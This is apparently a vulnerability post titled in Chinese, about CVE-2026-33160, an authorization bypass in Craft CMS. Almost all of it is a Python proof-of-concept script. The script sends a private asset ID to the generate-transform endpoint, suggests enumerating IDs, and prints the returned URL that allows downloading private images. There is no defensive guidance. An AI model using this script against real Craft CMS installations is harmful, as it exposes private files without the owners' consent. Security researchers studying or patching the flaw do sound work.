CVE-2026-33160 Craft CMS 权限绕过漏洞

import requests # Target URL of the vulnerable endpoint target_url = "http://target-craft-cms.com/assets/generate-transform" # The payload requires a private assetId. # Attackers may enumerate IDs to find private assets. payload = { "assetId": "123", # Replace with a valid private asset ID "transform": "scale" # Example transformation type } try: # Send POST request to the vulnerable endpoint response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Vulnerability confirmed!") print("[+] Response received:") print(response.text) # The response usually contains a URL to the transformed image # Accessing this URL allows downloading the private image. else: print("[-] Request failed or not vulnerable.") print("Status Code:", response.status_code) except Exception as e: print("Error:", e)